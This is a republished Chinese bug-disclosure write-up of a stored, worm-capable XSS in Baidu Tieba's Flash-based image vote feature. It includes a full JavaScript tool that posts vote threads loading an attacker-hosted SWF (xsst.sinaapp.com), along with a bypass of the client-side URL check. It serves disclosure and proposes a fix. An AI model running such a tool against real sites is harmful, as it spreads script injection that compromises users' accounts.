来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 由于是帖子正文的存储型Xss,自动触发,可蠕虫,危害你们比俺清楚。发现流程如下:1. 平时有事没事的时候,就会去自己的gainover吧测试一下。2. 今天晚上又去了,一直还没用过投票功...
由于是帖子正文的存储型Xss,自动触发,可蠕虫,危害你们比俺清楚。
发现流程如下: 1. 平时有事没事的时候,就会去自己的gainover吧测试一下。 2. 今天晚上又去了,一直还没用过投票功能咧,就进去看了下。 3. 发现有一个图片投票的功能,于是就随便弄了3个图,发布了一下。 4. 发布之后,发现这个投票,是Flash做的。 5. 既然图片是在Flash里加载的,那么肯定是用的Loader类来加载外部图片URL实现的了。 6. 直觉告诉我,这里可能存在一处安全问题。 7. 这里存在安全问题需要满足几个条件,A. 投票的flash允许执行脚本,即allowscriptaccess需为samedomain/未设置/always,但是投票的flash文件与百度贴吧不同域,因为allowscriptacess必须为always。B. flash里未对外部加载的URL内容进行判断 8. F12 打开调试工具,可以看到我们运气真好,allowscriptaccess是always,希望就在前方。 9. 接着我们再次去发表投票的位置,将其中一个图片地址改为http://xsst.sinaapp.com/Xjs.swf#.gif, 提交的时候,提示如下: 10. 但是,抓包不难看出,这种验证仅仅是客户端的验证。我们修改请求数据,很容易就成功绕过了。 11. 用抓包工具,查看我们生成的投票。可以看见,确实调用了我们的flash文件。 http://static.tieba.baidu.com/tb/flash/vote.swf?r=166486139965bce7156bc36762bb2c3edf&voteId=0e1e9a0f95d922fc978c0adf&tn=ajaxCanVote&stamp=1339767810003 进一步用以下代码在本地进行模拟 (例如:http://localhost/tieba.htm)。 <embed src="http://static.tieba.baidu.com/tb/flash/vote.swf?r=166486139965bce7156bc36762bb2c3edf&voteId=0e1e9a0f95d922fc978c0adf&tn=ajaxCanVote&stamp=1339767810003" allowscriptaccess="always" type="application/x-shockwave-flash"></embed> 成功弹窗。 www.2cto.com 12. 综上,我们在7 里所说的2个条件,此处均满足,也就意味着,确实存在安全问题。 -------------------- 漏洞利用篇------------------------- 上面是分析过程,下面为了方便我们对此漏洞的利用,我们对投票过程加以分析。可以得到以下流程。 1. 添加一个投票:POST http://tieba.baidu.com/vote/commit/add_vote?alt=json 2. 获取贴吧tbs: GET http://tieba.baidu.com/dc/common/tbs?t=0.7085538243409246 3. 发表一个投票贴: POST http://tieba.baidu.com/f/commit/vote/add 4. 关联投票与投票贴:POST http://tieba.baidu.com/vote/commit/add_vote_relation?alt=json 基于以上步骤,我拿js写了一个简单的发帖工具: <textarea id="t" style="width:100%;height:150px"></textarea> <input type="button" value="Post a Xss vote" onclick="ok()" /> <script type="text/javascript"> var config={ "kw":"gainover", "id":"751341", "title":"Just test for fun" }; //添加一个投票 function addVote (){ $("t").value+="添加投票中....\n"; Net.post("http://tieba.baidu.com/vote/commit/add_vote?alt=json",{ "product_name":"forum", "title":config.title, "expire_time":"2012-06-22 21:18:44", "item_type":"1", "max_select_num":"1", "perm":"0", "attr_key_1":"forum_name", "attr_value_1":config.kw, "attr_key_2":"forum_id", "attr_value_2":config.id, //gainover吧 "item_title_1":"vote 1:"+$R(6,"ns"), "item_content_1":"http://xsst.sinaapp.com/Xjs.swf#1.gif", "item_title_2":"vote 2:"+$R(6,"ns"), "item_content_2":"http://imgsrc.baidu.com/forum/pic/item/b9d3efb1c21a60589a50274f.jpg", "item_title_3":"vote 3:"+$R(6,"ns"), "item_content_3":"http://imgsrc.baidu.com/forum/pic/item/b9d3efb1c21a60589a50274f.jpg", "ie":"utf-8" },function(rs){ $("t").value+="添加投票成功\n"; var vid=rs.vote_id; var sid=rs.sign_id; getTBS(function(rs){ addVotePost(rs.tbs,vid,sid); }); },"json"); } //获得tbs function getTBS (callback){ $("t").value+="获取tbs参数....\n"; Net.get("http://tieba.baidu.com/dc/common/tbs?t="+Math.random(),function(rs){ $("t").value+="添加tbs参数成功\n"; if(callback){ callback(rs); } },"json"); } //添加一个投票贴 function addVotePost (tbs,vid,sid){ $("t").value+="发表投票贴中....\n"; Net.post("http://tieba.baidu.com/f/commit/vote/add",{ "kw":config.kw, "title":config.title, "content":"", "tid":"0", "floor_num":"0", "anonymous":"", "rich_text":"", "pic_url":"", "sign_id":"", "vcode":"", "fid":config.id, "vid_md5":vid+","+sid, "vcode_md5":"", "ie":"utf-8", "tbs":tbs },function(rs){ if(rs.no==0&&rs.error==""){ $("t").value+="发表带Xss的投票贴成功\n"; addVoteRelation(rs.data.tid,vid,sid); }else{ $("t").value+="addVotePost("+tbs+","+vid+","+sid+") 出错\n"; } },"json"); } //将投票贴与投票关联 function addVoteRelation (tid,vid,sid){ //thread_id,vote_id,sign_id Net.post("http://tieba.baidu.com/vote/commit/add_vote_relation?alt=json",{ "product_name":"forum", "id_1":tid, "id_2":config.id, "vote_id":vid, "sign_id":sid, "ie":"utf-8", "_":"" },function(rs){ $("t").value+="Complete, it's OK!!!"; },"json"); } function ok (){ $("t").value=""; addVote(); } </script> 当然以上过程,修改为自动化的话,就变蠕虫啦,这里我只是给出一个本地点击一下按钮,即可发布一篇带有Xss的投票贴的演示。 ----------------------------------------- 效果见漏洞证明! 漏洞证明:见:http://tieba.baidu.com/p/1665378430 (为了安全考虑,帖子会自动加载我的no.js,但是no.js里的代码已经被我删掉,因而不会有弹窗。) 下面是我截的弹窗图 --------------------------- --------------------------- 抓包加载图 --------------------------- --------------------------- 调试工具节点图 --------------------------- 修复方案: 我想,这个投票只是个投票请求,应该不需要FLASH与js的交互吧,因而将投票的flash的allowscriptaccess参数改为never是最简单的解决办法 作者:gainover |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com